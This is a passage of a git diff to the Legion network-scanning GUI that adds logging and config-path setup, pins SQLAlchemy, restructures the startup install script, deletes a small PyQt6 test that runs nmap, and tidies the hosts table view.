zLef(If0GKCjh60^wo4Q~9L6uU%tv*CSwY+NW5S@@#nGX?=kxot0?8(yT_-%}Oi8b= zQ#xxOXRJ(ujJ_VQ5ZNM;tQUO3$jfZU0`YG~9{1%W2XenL-^jA~U`7eRZIS;dwv%o_ zcF2qhz-^;$Dd0Bjc6ShYoXKDOk0M-1(t#WOhjV_A-shS2D$c_*y|mM{vM(Ob&BYJ% z@&8OjtKAQFEZVPr)Uf0F6gQB1+wCd^-3krp8v87Z^Q?7me$#z^-1?!d#sk?J=fjV- z0sl9MF~Kzpl&UU=3X)Mmm0vt&!>-7l=?r@I+rDgZx!X<=5A=O#2kRPv5XXF)el5pF zsc*de`#TTIjs@?YvfJ+ zmjBWLS4R4A*m`Sdu!(3${VuW;IZAQwho=Kz>EgN=$y`}8ruvlgw_GJ-Mk~J(POa1{ zG7vS^;5yF8PbIqN49o_NGbQf`q-vWP$Wxo~GQLm!he0d>_YtpXJ?Lt9eI57@989Vi%)6B zPKGsp6J0)-g`6r*PtYM43A;hMG?2*n>?i?eR3=n_3=YTNexm?j=jK`;%8IcsVPAG9eHkAHH1OCg@zL-~TwK5@1`Io;LHt`56oCXK|@ zlj%<-uUMsb2dhn-KdhJ5?^o?7xRFwe`0mZ#k6PJ+IuUwDQ%z{8y!^^cr}>)rKasu_ zC)b-`njt`osGE3<7|AfI)qm4A4-|=8fikiuvcx3(gVB`csiT1n>rA{?4VY{$i0ibV zz@U>UH9*kyX=&_hI=nAc6>r)(bQpb5clp&mYodL)2#(7%N0$FH_A%(bO*xdSaWWtB z$c(eRlDLyS3*+#LwAo7g<7jt{7-En_}mSN1{^T<3xA`O%gHAKt0Dqx-W+q|R!pQo zy;!Hs*9=#^Pl{Z0r5;ve9L_rJHHCI2J% zj+`qcPB{$srCyI~pS8C&A+vQDA9kn+V--ys>&I`VNYvtcb;enhgk$L_d;ucqR|e_N z7i;dcPav!9Tb|C_KNn+V38(tWpV|cT%uz_<%3>>~g^7qZqLS!71nVLR_#_f&A}>7| z$j^#>iIB4y=|p=cUO1EfNxbT58dBzv61*O` zWT*!1K1_QMdV+6u)Io1yV?>afe|fJQK9T{udbU-n@|!;L5ZpUxj%>L~GvlU}38XK? zJz(iOG-c-KaA=gVL~L;oYrTA*W6qAUi~7WXy!7pxqytYPNO}|~&q-wK(YGulb^;zx zOP`(nf{xl-fIfSJRn`SQjw)_HxUqdvkd{0<5)6lHcoeDiqb(MgI|ki6``ca@{+YS2 zFdqAeKl?oR9ct!pDeomZ6+QA;uxB~K$`agQX7&+5 zJ)g!)l*0>5P1rIbr3&?8!kIOX!((W|M%!eOX4#dOZdajBm1Eydu-p?Wn*Ly;Am_Zl zL7(gU+f|%NMLG0NL+GVN=x~PHJCM3MQv=tVO58ckS74Qw$k(WlfcE*cPjpKUNUD&N z(e22+ln%0ie~^A%Py@P8sDac#uO1EyAo{*D6(;f~Wxwl$reeM9bPlX+spP8!u~O<Kj3EtGN zI*WDQAcx)-k|C;yi(0vkCdZp$-P?Z_ZW z(Z95!EL>YxeTF&am}(&JR4O~E7*&B-g0wn+vp9nk^k&~;iJ>29hD?~oq(-tsWW(Pw zmXMDQYP=3@q{q3H^`S15Wk?Li5ymJ|3|4IXkh95%WRMPZ=M@d-LD9lk<8L;zeolLE z$D}Gw4k*!^xVbk>Mwy%|U-Zc6jL#Y=87pDWbvU>0tnipVBQkD0;y?3`y%(B(P+gqSWCHU=$ccAw}#?#ENS*GSUIDfY=ftJ^U{gy5O)S#apzMPUT7 z(FOCPlz#ZgSQyMiF~{QrM)R4cUKE!Q^%e0_L`ah> z`I8K8Fw5E4H!Xd_vBURjB_sC!ngH(kU<$krRoHM0%)?zLH&9nJ>C?|kqR7RI@r%;k zuH@?Bd;3w-Mh$S=N7fS9eE4JHNSF4>VlMQczuWIDsU|3(b#uyFD)1Nr7H8=21&Q6(OFbL5nmVJ@MhN*J1tF8w~ z=n*ej$-1YR{qB=BzWmSoGlSlwB`YDRlj>kRkYC_4&PTsQDm+AY`&K8Tq@iiI?fp9< z?)8fYY(wFI`&nI{DUrg3m=#K7oJ{dVc1lJ@u}}2_C!40ba#&Y^*{1>yLpqc>xV)6-{9(ujYk%$-U?7EC*$4c zTpk%wlp)!EBhNYLiZ=AyLVf>g&!~O7XUzyvkTGvTmb>5FJdy4 zB6?vO=*6gn+1h-AYaga3lsB}|uP^{K7y`M`00J9gyG6P3ULBoOJCh>JC6ub;eXDs? z^9^s0OakP&YxwJdrke(P^G^Aa__vH6I!FsM@E#Za$@qD?V7*(YKIj{%%B#ip_wp>C z)1vT?pf!tUQ|@guKvTKoqRJO^?rj&62A=#HIl9DVT9}(GiD=ACQT(KX?TWoB7beM< zTX9r{Xw)fSzBG2@5dK|u!_Wo>h$^!qD(~PPvqwnE=r{I6D{M0f`LDRxr=E$xOjMy$ zS=m;+K0yp!;#Hq}Vx|yLHq>!h{ROt|n|hi=M}sbcSh^^hMsth3UIkQE)XZ@^DrO(d zk+CuJIpefXo;40a4W=Cq-1#?C>s-Q*cQd2qE+PR&&$Yjz&vd2W3*J-D7fZ!cYu?kj zBVk*dv`JckvkRKKBCy8lhf{oMyQX`A>{zl7WE$H}Lb3w6cyHHozcf7*vPSGtWNXr> znyXxL;;`s1P0(B$#Jvh_bQ=HfCzM0WK$ay-tgJm)02vY7lhbs{1g0TRr|SosseotL z>__Va5nop@e;wQSsOJEym2Z8FPp5n1A?1OG8?WBR^=nVb&9AJ+waLNdRx*JdGZz(G z=^DgIe4Qcm219zngZJu#M4IN*>fj0Cz7Mr8EKmR+&D*KX4`E3k!=y>ArEzFv6xX8V z+&EEF%%d*E73)&YnVYa*$L|4g3j2^#W@eFTSY&*gVd9Io)D%NaWnaU&Q4#oCSkkKErZm2r z=0^G3NM}y#gDm(q18%(OlON-;o#g#iP{tOOvcaqP*~!9{o7%`g$cGAe zFK9KeYXgDxG?4k}jXQ}clr6&fQVd{`t3ugoglUG-fRE(} zT?$hs9}A3_kp}s75ikHH%ET~`N+W&<%R}fAn5v{Ckd;R<#*dL+lyW1q8>Up4HoJ*5 z2V>yitn0(ktfB$tF=N~Xz(k!_ypju$5xg~C5dy$5s{3TpC^iTl^-Q0>U;@OCUS3Rj zy+xrwi^4>wnxetoS`6>jd|dx-J)74QxV0j`)S)7D`U$-+n>%IvfNm}f)p1d$H4yQ+ zC~(|(m(lG-7LKO3P4j?;*?uu7kjraf%?CiKbD~T!GAU@3q7t&7)ir{1gOZShPJyzq z62YsSstYcSF=9^%XHoDsx34W(Em^X(2W8?%WBe8oK?H;Ve1vu!fE0$H6Z&?(f9dIi z+a&M5{G8=;rYxN`zC}9fF-BySjll&;QsD%SAj|Sn0ZAI$w_kNE+N)V*hjf0ol622z z6>W=)le!0lPA-gbBV-t%icuDju@q&?jhN9OV>5&T-V+}SGkh!r(W24Hhe$v~Day5` zC+;B9R2(s6p<^{1B4dF)33;^93Ug$qnTU-K7zNj6Xg&bFfpuweKaCRfJ?wf7b5^Z zg7`6_C<)zF8V*U^wO;tcgS=1 zt0`J=+VOsY@^G?;bGsSU7#~JZM2c|>qDE20fxysC9m~D$;cZ(VTU*t=vb1G>UfSzT z$*w|PE2flkgs(mi~DUe?qT~~nk5vj*VKt?3%o%je05NULJhL9q`0w&574<-O8jaux? zZAU;ufXI?~$_ycab%T$BUzEZ!2qE>7NU%*=Y3tIW-gW6^XHBn7CX2j*@<^m2;;&7_ zS|wBE!GMqEbpr5F-^NFyM|6Niz(@0GLKBo3Vj6cFb9~Iz&&U)j(;&4M0-`&>%W0qc zf$Nu@H+|f+u_J63RJyXMn}mdzg1uh1??RDA>*)Do43$Sg3~iDu}CsxeACW zhncdB%MrE$<;xJR1U8PyD(}Sf-lEGx{d27 zu0ezf5t1=(7m?}9hXiI}0+>d!&UK&*fC%Dc(_q?sYhn>NTSbFXGDf*M38dH|mq#RM zh30f#is}C1XguY0w=7GYJ^jR|9=hfGweSD(!^fL``RJ}I&%15e{H1fJjTzjdSz)+Y zBG9fNFYOC!grL(Z2>mot)JUPeUB(^B`WEUZ-DY%|nPWIJhxKs0U*x;DuIt;eO?k3F z2hlERM4f=7My)rP0Kq9(GcD5y52y0eqxvP7*=Q zk2G0)_vyQT{p#Hp?z{A-S8i{abjKv-f0tia8TR>DqZ$_^o`4`;L5YicOwyyWmJUTg z2pLt?AzizsJ?=g&%7=ArGpKFzW9zC1)ikT(r81bVMucYD`N)>TY+1(T2v?rrV{tt` zCNq32MhrgY8Ob%3g0L!-Zp+Fwq!4u=ZU|9eOoNQ4Xk^GBqnTD4e1r@>0w4l7Qakdo zzH_WJDG8!TgOwOD5Qz$pMn!>klmT_q9!(BAFee(B-$zkRlO!`cmhfAQDP zA3S;YvPbV&w&jn{HvRqO`rphNgF&@Sh1d#woY!HKC z=0_)w9<=$#_cs3a>EpL9{@*3DQW{+n@Z5Ic!l=M{+3Y|u9$xlKT3mKVCDq3Yh2d~< zEavCAh$M~b-LpKTop@}I3H`cF?A?8Eb+eQcX-0}!KEhlj%;n%%x-WdhnK(uz5WJM+ zs#z)K#N7@=#|Q<&+z{z;(kjG=FeAaVkz7M02NA$#6q$pg$;bLk%-M__jo=Ybl3+co z@l>CT)8IeANUj077~UtU36G~V78udL%T-I}{Pz9(fB*UE#tolu`g`>UFW-IRB{Mht z{K1wDUu@pA_Jh|R8QH5HNPbN+=75-EV(x7{Z?D(Rq}#c?+n8_i5x~yqxR+sg7?E(s z%*26nd^8gC%qDVt%q-7=q`<1twq$AlWbo0B2`~ZpC?YuEBS#PpyS=<1`QZz9uKW7U z4L^PG=q*de^=%!Im`OthP8&Wrz%ni>J7Nq7A$@`pk<>ih8hG=7eLx4yp!8;8^8kB@~;NwmPa0E=;iH|-`PJjRnA;Xf( zWz?Lo63uEHAJJW5m)N{8HgQCs$L_!8uisW}-UOn^k5|2M-{RS$zx(9bEt@|7^Y>M6 zzHrZ?GbYFwrjkacY{G6w8fKxX68tuA4<1b{?!rgT=rNOGTr^k=6p{lplyDZrk7kN( zg3|n!d1uqbfRY2M3L@T^v4t#I`hO|FN7@F92r0v`0Ar*L5=fF~=;`AI|NH9)TYp{k z&Wm?H|G(vxF}IH;=1)7hO;Ns=VKh3M(}CE^CrEM4)xM%Kp}F#Oy)quJ$xi}4Y6Q}w zwxm~0`MmL?ruOMoEr?|p4f5+O9O3P71VAiCSU^UANaOxvre}(Jd<3{;3Q#76u?dWc zqI48Bp1M(CNeY_NooAbu1O9Pm-5 z>AJG?vv*&z;kVB={QB|ZH!r$k?#Tg>@-g^5S1pSxvX?WiJvCFi3NAknCxlhCBoZl) zMx&w_SESC>m2tP~6UcmB8q}ud!l{!+wXAE#@})3Y0nt^cV1$a9;1R&F1ZImed@S7q z9}6%ho#A6X#wJlFjxaHV3B!zzu`ZbKJK%DX?I5^o5FuuxyfCXnjBbok!>E}%k_IB3 z1|oBO%!Q4nb65nCqX|bNmPE;RRn2>}Xq%^aqnzqOjpt_oA4P`KIO8eol-FI642>Sx z<&GQA-|*)L8`pjK%46409^7u>X~Vu-{mfS%Kl9RK*Uz0gyhBZeOke3AOtViN|yG4m|2 z(LBW%6oKPnnwn76vVgx;L4J#LGVYQj%-N!va=Rs&ELG4OPZBZfZpaT%?fmsj2 zx)DH61ChXHAX%S}fP*>Le+v*v8$*GU0#2(0+oGVPXLaiY@A6=bMi_jQI7#DFpQtBX z-tt6vP>(i?=1%(amv_GX?8Pe=OdZ?3`SCrPKXdQpPu_R=@+H$J4eeYU^%ciLZXV>t zAdm#>G%8Q_pN~d1y^W6s85LXvuFuDMhy>pSaHKMbG**?_5C~cY5yfc>P<!DKiwUVF_pJArgF@%^=eFit+UfAB}$6X;LN#jbUM% z&FaR&lBK;1TqTUnsUV~=3N}h`b|g>Y?p!=`^N%0?^ZTkhFPpP)%Ge@R4bs$&m&^+( zluQDMFmmR3IFHevjTGROn5rk;?mXRH5sMZ1JSj~o@#$TvO72>I$@m^!JLuj{s<(y| ziy;y)u@qvAR{%$d0WNmZz~&rdCP=q4-G&!pY#w6t)00B8`E?5YzxK{MO0Kg0|GPW4 zKezWXbEo&6*`938ZaV4N5YkAcB%!1s0i`G;5(r%d5fMbdmS`wal%kP^?qX);{3$nocH5UPJ$K`hnF|LyIuqupOXgg4-sbHa zR-H0`(#k2_U-;A+y=ki>ZjDPtZJPBs0}zSbH+MJ|n7F@63x-IcUS2i0LP|;Mo zv&q47e&M9PHcc7MtJmm=9LB@{@$ zjYQKlXOI&52)>(Dnn?kCWt8CU5k4Z7;&f<`>{0osP<%})Ex;KdNL+WLvW2n22{uAD z$8KJ;Dy6C>&Duz?McI{AU)2jyubS|V>1#W2;q-OGQ&-KHuyAO6N79+r*}QJytTnSI zu9-36{F9bme LPG5c8P*>TMyHY8Sk#W6S>|=L-Y3G@1dNW=Up-n4~Up#ZrKva#7Asj(z-OgKfCFb{*O3khtL#)qp71t~nN?$QM z&a&ntG8083o18x``12-q#R!s$u~j zftCN3k0B!A2o^GJ#iEj7A;Dz9LUPCS_DpPRcUVYHc~cY|Nr@_2(lCmCw5Ob#+21v# zt#I6=-dVjJSyQh1&dl!i#Z&qhPwH)p>a)AsKDKJ{#b<6BhnG#^LE7@Qda-w`@0A93d<_K&K8aLrwfq&QrwsgB5c)Z_gFJ|AiW z2`I5i$ghDW+}u*)xqEJW_vQUxx$LYBi)UmN)?=ufuDrDDTLya1Ke|Ds2FS00k2%w- z#9~9$YD$))9FvrUws;IEnUchTXuKOKL&AuE#LK8j5!6CJI?Tf{6y_#a%MZiH6fGuc zlp?4ul3gHL$IH>VyxD`x`G`ItxVTUSGASN+twQ4b{(J-`hSC_Z*4FV78dUP*Cd+_- zbU1F~%9RNjvTwY{zk@f}GUKXKj3!%CnYMJQH=j6ea({0z)0&D`;$BBO)|*dGtmX@r zmR6;TXRV$)>x6l;2a3hcM6zr-F(gEh7!+{CJrxGtaT{|m#A3}nj?fJnhxizFHU77J z6yZx4NLLxf7IlL`^~pZLoU%2~A|9J7yb5;*88XT7t z>9j7~aMeyv<~5cL`Dg~i1&}1h6r75a*KNUozCmy{&HWzI0NveKp6y{taO zS$&*QC4^Q+XeB`yk)eQ+AZP#?fsd_#OHu$J*7#VWgbFD%Qvx(b@sUeWg3oYChUuc& zWwN^p*~fC)04?MwF&5!Hydw=VAj=M95}Zo$qsb@{9Iyr`Guk|Y!iK@}eXXt4R4V5< zHpf{E)1FSAbJ{wG=WRiWNoGv66Oxlw-AXjknMx0o5~nYlKYysZyOgOUoNC-|PngSR z40U8vU_X6P%o^sTw)V;G?KxfVNG8g*U3OfXVO>brIRO%R_>+S>4FjT$Hjh}Noa1PP zHyexu3L9{Q2gi^xl*LL`Fn7}6Fe1T4f|nE{JXN0&S&w?WUxfKJ;KL?Kl>&&cGfT-A z?)t*7ANcC2b0*E~sQLo6cG>Xym5Wq{wnU}IM=+0o$fV&EoLI%RrnFT`wh5jwZx|_6 zjZ1RQF!Qq3A(?%wImBAM0UxV0UnN08O%;L%fnf~&cf z5W7fC=Twu|;TNF3?yw&9IC_kX&tQn)`r#VG%_t>by!-k)ulo4ubEmaBc9bW#e_}&5 z8*^n%rufnR5hvG{msHJhsl-4jSF*H%sZXd@6SCs+d`y%Iven8N{j5F6m_4lCOyC^~ zE7Z~Xh^L5u7(V6+A&MO>}9+Zr}Xyp6jo@;Pg+PzSb9oq@t-L2js$gH*&nibIrcH zdU$Tdk4^6AnAy|YUurH{j)k`c$BY}R!?9QsTnZr=a`4~r@z7I1Nfrz;cu71%%cK!o zw~+Oy$58|L$Tu_?BtQg@&*&60y_kGv_q97t8eZJfmO@-g<*&K)LW8GGUN*4r2;nHY zf}A$&tmWoRyEmWBDq`6(bDGwbPPhAs7{~jZP!x<7MjK$Q35+?O)yff620oG~WFi)T zZxkOP#m4=T0Us-)_}EMeDrk-nY(t3u899q*9T62=Cu^ERt!;A$Cd`{KG`XXzr(CHf(!QdbEH1DHAPZL$ zYOI7O^zdr%UjUc`Cx~fyBp*kgIa~^4*6?l?C)rq{je9)deu-;nBI=83>QRp)1Ng`` zG?+AJH6e@SOq!UI^&h(Kic@9`OwRimiCZ~u_VRgiExZ^5Z*vN^(dFfssH8Q$=(rUx zT6Ua_uKR+JmX)Gz7FB(6snV>Q1wk$_LMNjPFvbMd=w#I*iST4^$gcw?mPx(@A`l?5 zg~T-}T4@P8%D^o)(<0oTC%7WMO(?@l3UX&YOP~yifRcrXl#I~L3^S}5r^(Jnn_@` z=#ni9AGmG%u4^~%fAHEry?p;WZ$9$&3-{l7^R|a>zxtgw9{b-v{`Bv!{ph>5?Kt~{ z>BkOswa48kFZhy?P@{3liUOfnq_LdNAp`LyFTl~2mF84>sH1)UVE>|Nla8G-@tEH3 zYBHg7oXW5|q~1JWQBmE>*615-UNaa0ehunTk9v#^_+T*L zA8F2M5^M@NEZG;czxnBNR}OZz8Ys#VS6y&U*0x+x(iwyo^Wq)&#FUER*y6|A;_;L$ zL;8t_AauRmk56i@c6xrru+to$XM_$$>8JGpMu$d$;7T+$j2{sng(`vOSh02S{ONY$ zM9EpKx>E$bLQ1Jd&Wo@nq|X#~h#DxYCH_7d&BxF`2B~PUvnzvArd^8pt{`|kf8xBM z&z`g96RRhG`+55h8%csA6^M!wZ~iy%^#=9tA_RMw=h6 zSk8oOA<3XL%jammgO*45NXsD~%QZMsSlCns`8A&U^B?mOl&6F)LYT*D!vwd0VuvYV zAu^5u$dXDL?~Bb^B+>#tV*DLGcs)iTAH$wUP-r1F23N)ns*{N+!vu2WZTmClZ@gmb zvP-ut{M;v&KL5j;Uj4~8-hS@hzaIGh!C&6PdHvD=|weB^6; zzkbCT$IqGGR?ezQTr!f1myn#epv7?AOx49TG({5$xO4@$NDk>hNo*B)hv$7+>MjG~K=J?b$w zfRCu5!KOKnl#K{yFjR-FU%6r3K-x=-^ohf>*DhITAALgd~BHESXlD6D?_mPcm6%#6R{?8X&Sg;A0V(NZ|fQ;3KpPSeTF1_vd2? z@3Qb7A9H|6iqFz~hGx4+?gTTwoRQY+?&f%IlapV~c;h)U*~G>poJ}A|v4M;sBF8Wh z6k-t+-VnY7GKS+A;2(jHxTpjYd_~QeX2tgx40QhZJ72o_k_|U*U;Dz|ul)LvTi^P{ zcmDeF-gjPm_|;$B_43nq{O-l?{p)v69Q@fGFF(HP$9q2e=~I`@>MSRCl$7+eiuoAj z6n~_s2Ubkc;OGdF$>Cfcm%PQJ*u2Rw7Q;9U-I4T%Ck^yAXE&`}eBDK#Ja%w`kHi?S zxtu*`l<4}bD(V`gOqe%%GO|_cJ1*?y*8ghcC zue*3#A?nyX0{`d=G9G8(g^Z>bEo)plJycmMM0-Z!4V_m!vb zc=z>3UfcieUp;W+GxvOP>(XQ9jcd-yd{R_XiW?KmC{p8+76UQ{@)gaOwV0$vMa98Y zHC4Rs5WX%0UY>Or5M!~l%`<16ylUHqwU=$(GO^lXGRPIo8uDs$9z((T(W;#c8{y6G zT}6^1h#DZ0<*52ZpL*0|bifB9;3Mr4qDcxWLzfhB?exh>j!MbGt{bk?7;=P!WeGMPpbd}D9F32lF?_6iNIpVhK9faf zS6Ysjq^*u~Q7pO5if>h7C&CZ_=F3a2m@_?QB~%WpMelNyi^^jEM)14x7g_S~d2KzIxP`AO~2?i@GQq zyv*SFuyqSrk9r&m;3MSMU{ZjOI>Bo!lji8bbRs3POQ%oSy6z-fMAjib#zi@!YR#_O zo6ELFy~)*bvt#vV(?G^9CkCFe#7PC3$Nh|e!pOhjBf#;$=3|xMH*?0$Lh~wy+MY@5 zbfOoT(K8%>BF(r>lt&?tM8HQk*tg5Vg>nz$qeO6U3^VHxlvp(OlCEr|tXRVETuBc$ zkih#}B{aR@x+TvmdhvqeibVVc;jzFqqtfXZAQ8mlW8trSujHzM`v)WE>izsZnnX`@&1Lb~piO%t@COT_hNS ztP85v$k25@)}tP^06q#04N;c2X-TJfgJoTs$}3`0L_4;AZ0fi!AS1{TL|2mIs*}Jc9>h@KR`t zS7NG_^Ze#SI`2jSj#0{?QAvoVi;O7vM?6F`BJh$? zUh$CZ@e26IgskK2TU2AB9uo~uz{PaIDr$@j*|*0FF+sF(Po)UN1a#Ig_kOCO&_b#X ze8g3J#Gvj5f-K&IzXxEP!Km_pVEjGQ=~$0?ycfVnxuGG(h#D;!3^EzUWSOKYJ9Olp z+ip#1hRq5tF4HeZRVC}#S<@^#Udgaq-PqKYO2t%svMD1<<)%o5V4F!X9}z$pg#>D5 z#ZFr4WwahvE0aPx!et4e5aHn}p5`40Kv@98NQxCQ*#4gwSzQB^1Rt6uAz|k-G#F2z zt3hgS5aS%1W1E&6){a8+DHMBoEOEINy-;<|O60p~E*c@?l;8&?AYBYc4m7fa1{x&N zNKPggjp9s_Gn-fg8%f~fh!hHvS>D9ei7-c^lGYqc^fg!d%gr6}-ODsIIt1-gxPH$E^HHa9 zQ6DRUDH*IfACZE~L^apxsT zAy{jOOI-*c;G@GyRGp9Ys7DyUN2Q^`!&3!CoyLV~9F9wC;Bt$Kv zIR(or>vmPMAipm9ZrL+B9L2;V;EhHT)!9If2ed^nAG0I~6YwM9V}U}DV&^D$DHUib zN0M^|>5_bPGaO^_ZH9BUVr+_~##3yPU>sWfw|oTr88mNExQ4DpAz)=FFqOdyO9WRT z*Ty}PB(Fi^*<13PF%oiot0dHJF(%NK50Hut&hT)^DEr>OWt3;2*C( z@b}m6|MN?CJ$3(8uRnR~3lClU?7dh2;O285`obr#*|26>IumC^yuSiu%B%v^8!g~q z4Tzz_mvG5qB%KcDt7A$6AH&h456efBksy(GSmcZR+J(cXEnT#6*|IoJ*zrC#As=l) zHE50+`PHaLJ?atikw69|!Dqu}7?(qNOWk+Z*9)fPF?3cj(vn^>y%smts=IBf-Qq6%53u%RsEFdo~JqMM17GJ%`_5LBNOEepOQj8g76SFfou{B z8kmm+wudGo03RKaw<+E{B#VZ869f&&K(SL(;c-^7Xvl4s>L5D}cCbNQxWP=qYyd1l3A?s0(ASB4I31m{DL2)jglgwUu z-p6mf`jXa|J!|~wWX%{BlmLhXXodn-Ih%pgmi>xhDeQnt*w{Lm%S3mgYn@|1E8$bQqfqhT! zyJ`P}pLu%kXWx0{zBit{?cn3L{Qi;KcAb0T=DzkN#X^w<3L}*iEJgLN$es+!Ap-8qKp`0<%D9GEN2r;Nz!_pc#j?J z(5xaaCU_R|Q;TC9fpZ1U7wNXRzG>;)y}NFF_qC_reRKa`U-|x@Ub^RRzq#kYk8XMU zC%d1x{=x^gZMb3iu~Sraz>V6tms8ZJ5jc+F;~0fkfnUHoFpp#42&xgVM#fM_<)g_e zCZj@vZ($qDdGHs7fge_YGc`V1NVWyTVE8&6>rs!906zM_4pNMAl0(u_mdhw=Mv~g1 zeor#fYB}Sg-i&JL&`98}%aO=5MEVG>h2ZkEkf8V^jrj;r`$+hh zX0Ul|X%q{179?70#&>wB&8EIoR*y&8GTt5l$48PfLnV-$X+((+!$*(gYl>1r3_DOc z!KrCgHy9>LQZ1r7HI|%}$jwZor^XY#(P-5$bF%7DTw0K;hMi-$W5)>a10qiHEseQ zfo?#FrFk3PpO$qR{G$@`5troPR7cSGhQ@l)+Jc@BhW=czST6?8GpPtd)x}azLKq}cCb*C0H>*vfG??$r(iw>`-nrUbp zPofH*xea_2l7W9LP<#vUkrumYwUbqH5xglvn&7idC=FZirmt+zHrrIGy@@zv^r;nXb`PPn&7tS5`>EXd?iuA;J z8y?=WdTk-Sq}<_0C_GTkNIE5iGJ#@1H0*Gv78m5Q%M!_T zrSg(Q{PlF5_YpkR-qWUGnLSS}-|sYY%L zA02`PK~`%~Y>kh4g!KRlp?{>nHexJ-VnN%d!9vO@#ga)@C&^}29?oP|XLGBPsS}EY z75UWiTxP&^O_t1Z?B%m&e{h6BjjS9GE$0aD=%X-kv;roM zJ~I}MAQ#E-TTzdC)C2p+XoSUl#QVEakgE>0RF+QcA1b8#QvQmm6StkVzB3*z8Cub^ zGNxj&;>eRhaE*~tLsMH&vMfi5>41;fVAf6x&9{+!7p=4cH~(8cW?4+zGAXt-F)KX( ztXT47JKEAjG}C;KXyqGeyNU1wDb9$HyeA^UXg-2@1Pkfl)iO+tj|NypPR8aj@Q*b< z0vQ33@IIh~sN-pp6jf2>rOnMNlBsot;__5#O(C;7mmjbkhh?%1bJfh*yBEy;*5cWB zEnT>0c-mKvo6||s8~O(BT)X(OQx`pS((?0r2R8OpzjyNR-t{L=jk!~-Sd3r=7MBz{ zl8=xt1Mfmt7{YO6VK^ly6tuC9e /dev/null 2>&1') + +def doPathSetup(): + import os + if not os.path.isdir(os.path.expanduser("~/.local/share/legion/backup")): + os.makedirs(os.path.expanduser("~/.local/share/legion/backup")) + + if not os.path.exists(os.path.expanduser('~/.local/share/legion/legion.conf')): + shutil.copy('./legion.conf', os.path.expanduser('~/.local/share/legion/legion.conf')) + + from ui.view import * from controller.controller import * # Main application declaration and loop if __name__ == "__main__": - cprint(figlet_format('LEGION'), 'yellow', 'on_red', attrs=['bold']) + cprint(getConsoleLogo()) + + doPathSetup() app = QApplication(sys.argv) loop = qasync.QEventLoop(app) diff --git a/requirements.txt b/requirements.txt index 181a4edf..1c9a7e85 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ asyncio six qasync -SQLAlchemy +SQLAlchemy==1.4.50 PyQt6 requests pyfiglet diff --git a/startLegion.sh b/startLegion.sh index ab869579..f8c494ce 100755 --- a/startLegion.sh +++ b/startLegion.sh @@ -6,12 +6,12 @@ echo "Strap yourself in, we're starting Legion..." chmod a+x -R ./deps/* chmod a+x -R ./scripts/* -# Determine and set the Python and Pip paths -source ./deps/detectPython.sh - # Determine OS, version and if WSL source ./deps/detectOs.sh +# Determine and set the Python and Pip paths +source ./deps/detectPython.sh + # Figure if fist run or recloned and install deps if [ ! -f ".initialized" ] | [ -f ".justcloned" ] then @@ -20,11 +20,29 @@ then then mkdir tmp fi - echo "Running ${DEPINSTALLER}..." - bash ./deps/${DEPINSTALLER} + + # Setup WSL bits if needed + if [ ! -z $ISWSL ] + then + echo "WSL Setup..." + bash ./deps/setupWsl.sh + fi + + # Install dependancies from package manager + echo "Installing Packages from APT..." + ./deps/installDeps.sh + + # Install python dependancies + echo "Installing Python Libraries..." + ./deps/installPythonLibs.sh + + # Patch Qt + echo "Stripping some ABIs from Qt libraries..." + ./deps/fixQt.sh + # Determine if additional Sparta scripts are installed bash ./deps/detectScripts.sh - source ./deps/detectPython.sh + touch .initialized rm .justcloned -f fi diff --git a/test.py b/test.py deleted file mode 100644 index cd7c52ca..00000000 --- a/test.py +++ /dev/null @@ -1,49 +0,0 @@ -import sys -from PyQt6.QtWidgets import QApplication, QMainWindow, QPushButton, QTextEdit, QVBoxLayout, QWidget -from PyQt6.QtCore import QProcess - -class MainWindow(QMainWindow): - def __init__(self): - super().__init__() - self.initUI() - - def initUI(self): - # Create a button to start the process - self.button = QPushButton("Run date") - self.button.clicked.connect(self.run_date) - - # Create a text edit to display the output - self.output = QTextEdit() - self.output.setReadOnly(True) - - # Create a layout and a central widget - layout = QVBoxLayout() - layout.addWidget(self.button) - layout.addWidget(self.output) - widget = QWidget() - widget.setLayout(layout) - self.setCentralWidget(widget) - - # Create a QProcess object - self.process = QProcess() - # Connect the readyReadStandardOutput signal to a slot - self.process.readyReadStandardOutput.connect(self.read_output) - - def run_date(self): - # Start the date command as a QProcess - self.process.start("/sbin/nmap") - - def read_output(self): - # Read the standard output from the QProcess - output = self.process.readAllStandardOutput().data().decode() - output = output + "\n" + self.process.readAllStandardError().data().decode() - # Append the output to the text edit - self.output.append(output) - -# Create an application and a main window -app = QApplication(sys.argv) -window = MainWindow() -window.show() -# Run the application -sys.exit(app.exec()) - diff --git a/ui/models/hostmodels.py b/ui/models/hostmodels.py index fd246e4d..8e34e5e8 100644 --- a/ui/models/hostmodels.py +++ b/ui/models/hostmodels.py @@ -135,6 +135,7 @@ def sort(self, Ncol, order): array = [] if Ncol == 0 or Ncol == 3: # if sorting by IP address (and by default) + log.debug("__hosts: {0}".format(str(self.__hosts))) for i in range(len(self.__hosts)): array.append(IP2Int(self.__hosts[i]['ip'])) diff --git a/ui/view.py b/ui/view.py index 021773d1..cedc92cb 100644 --- a/ui/view.py +++ b/ui/view.py @@ -38,6 +38,8 @@ from PyQt6.QtWidgets import QAbstractItemView from PyQt6.QtCore import Qt +log = getAppLogger() + # this class handles everything gui-related class View(QtCore.QObject): tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar @@ -180,6 +182,18 @@ def initTables(self): # this function prepares the default settings for each ta setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) + ## + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) + # Set the model of the HostsTableView to the HostsTableModel + self.ui.HostsTableView.setModel(self.HostsTableModel) + # Resize the OS column + self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) + # Sort the model by the Host column in descending order + self.HostsTableModel.sort(3, Qt.SortOrder.DescendingOrder) + # Connect the clicked signal of the HostsTableView to the hostTableClick() method + self.ui.HostsTableView.clicked.connect(self.hostTableClick) + + ## # service names table (left) headers = ["Name"] @@ -550,7 +564,6 @@ def hostTableClick(self): if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView. selectionModel().selectedRows())-1].row() - print(row) ip = self.HostsTableModel.getHostIPForRow(row) self.viewState.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() @@ -572,7 +585,6 